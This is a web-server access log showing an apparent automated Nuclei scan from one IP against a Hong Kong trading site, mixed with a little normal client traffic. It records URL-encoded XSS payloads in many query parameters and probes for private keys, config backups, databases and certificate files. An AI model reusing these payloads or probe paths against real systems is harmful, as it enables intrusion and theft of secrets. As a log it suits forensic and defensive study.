[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?tags=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tags%27%29%3E&e=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-e%27%29%3E&users=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-users%27%29%3E&format=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-format%27%29%3E&dl=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dl%27%29%3E&position=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-position%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-url%27%29%3E&theme=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-theme%27%29%3E&firstname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-firstname%27%29%3E&fields=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-fields%27%29%3E&form=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-form%27%29%3E&level=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-level%27%29%3E&month=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-month%27%29%3E&oauth_verifier=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-oauth_verifier%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graph HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ckeditor/samples/plugins/htmlwriter/outputhtml.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ownz.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/jwt/private.pem HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sync.sh HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config-backup.txt HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.tgz HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?order_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-order_id%27%29%3E&cookie=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cookie%27%29%3E&debug=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-debug%27%29%3E&m=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-m%27%29%3E&dir=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dir%27%29%3E&new_role=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-new_role%27%29%3E&trashed=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-trashed%27%29%3E&log=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-log%27%29%3E&excerpt=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-excerpt%27%29%3E&settings-updated=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-settings-updated%27%29%3E&plugins=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-plugins%27%29%3E&modify=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-modify%27%29%3E&pwd=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pwd%27%29%3E&file=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-file%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger/swagger-ui.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //update_note.txt HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jwt/private.pem HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.db HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/fields HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.save HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.db HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //test.sh HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/api-docs/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?i=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-i%27%29%3E&database=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-database%27%29%3E&tax_input=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tax_input%27%29%3E&secret=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-secret%27%29%3E&mod=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-mod%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-s%27%29%3E&stage=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-stage%27%29%3E&time=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-time%27%29%3E&new=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-new%27%29%3E&api_key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-api_key%27%29%3E&invalid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-invalid%27%29%3E&db=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-db%27%29%3E&upload=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-upload%27%29%3E&tablename=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tablename%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //k.html HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/jwt/private.pem HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.SAVE HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/forValue HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.jar HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/api-docs/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?subject=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-subject%27%29%3E&sticky=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sticky%27%29%3E&ns=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ns%27%29%3E&history=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-history%27%29%3E&category_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-category_id%27%29%3E&metakeyselect=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-metakeyselect%27%29%3E&copy=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-copy%27%29%3E&product_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-product_id%27%29%3E&status=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-status%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cat%27%29%3E&list=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-list%27%29%3E&val=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-val%27%29%3E&what=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-what%27%29%3E&group_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-group_id%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.~ HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //y.txt HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /private.pem HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php~ HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-ui/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/search/messages HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?attachment=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-attachment%27%29%3E&dbname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dbname%27%29%3E&rows=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-rows%27%29%3E&parent_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-parent_id%27%29%3E&lang=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-lang%27%29%3E&fid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-fid%27%29%3E&text=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-text%27%29%3E&link=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-link%27%29%3E&timeout=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-timeout%27%29%3E&db_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-db_name%27%29%3E&ids=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ids%27%29%3E&w=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-w%27%29%3E&provider=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-provider%27%29%3E&plugin_status=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-plugin_status%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //T.html HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /production.db HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-ui/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl.txt HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927414573 HTTP/1.1" -
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php-backup HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/search/metadata HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?sort=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sort%27%29%3E&msg=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-msg%27%29%3E&hostname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-hostname%27%29%3E&directory=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-directory%27%29%3E&disabled=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-disabled%27%29%3E&last_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-last_name%27%29%3E&oauth_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-oauth_token%27%29%3E&first_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-first_name%27%29%3E&delete_widget=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-delete_widget%27%29%3E&md5=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-md5%27%29%3E&selection=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-selection%27%29%3E&filename=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-filename%27%29%3E&address=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-address%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ts.html HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl_key.txt HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/apidocs/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/search/sync HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?ajax=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ajax%27%29%3E&timezone_string=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-timezone_string%27%29%3E&group=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-group%27%29%3E&update=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-update%27%29%3E&revision=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-revision%27%29%3E&referer=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-referer%27%29%3E&index=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-index%27%29%3E&src=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-src%27%29%3E&end_date=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-end_date%27%29%3E&gmt_offset=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-gmt_offset%27%29%3E&params=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-params%27%29%3E&html=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-html%27%29%3E&pass=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pass%27%29%3E&offset=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-offset%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //tr.html HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php_orig HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certificates/trade.kingston.com.hk.pfx HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/apidocs/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/users HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?image=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-image%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-id%27%29%3E&order=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-order%27%29%3E&sid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sid%27%29%3E&language=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-language%27%29%3E&filter=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-filter%27%29%3E&import=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-import%27%29%3E&st=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-st%27%29%3E&act=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-act%27%29%3E&object=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-object%27%29%3E&insert=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-insert%27%29%3E&task=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-task%27%29%3E&dismiss=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dismiss%27%29%3E&orderby=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-orderby%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //core.html HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.original HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certificates/trade.kingston.com.hk.p12 HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-ui/api-docs HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?up=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-up%27%29%3E&body=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-body%27%29%3E&return=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-return%27%29%3E&end=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-end%27%29%3E&n=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-n%27%29%3E&opt=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-opt%27%29%3E&source=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-source%27%29%3E&y=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-y%27%29%3E&parent=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-parent%27%29%3E&reason=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-reason%27%29%3E&meta=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-meta%27%29%3E&pass1=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pass1%27%29%3E&blog=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-blog%27%29%3E&plugin=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-plugin%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //el.htm HTTP/1.1" 196
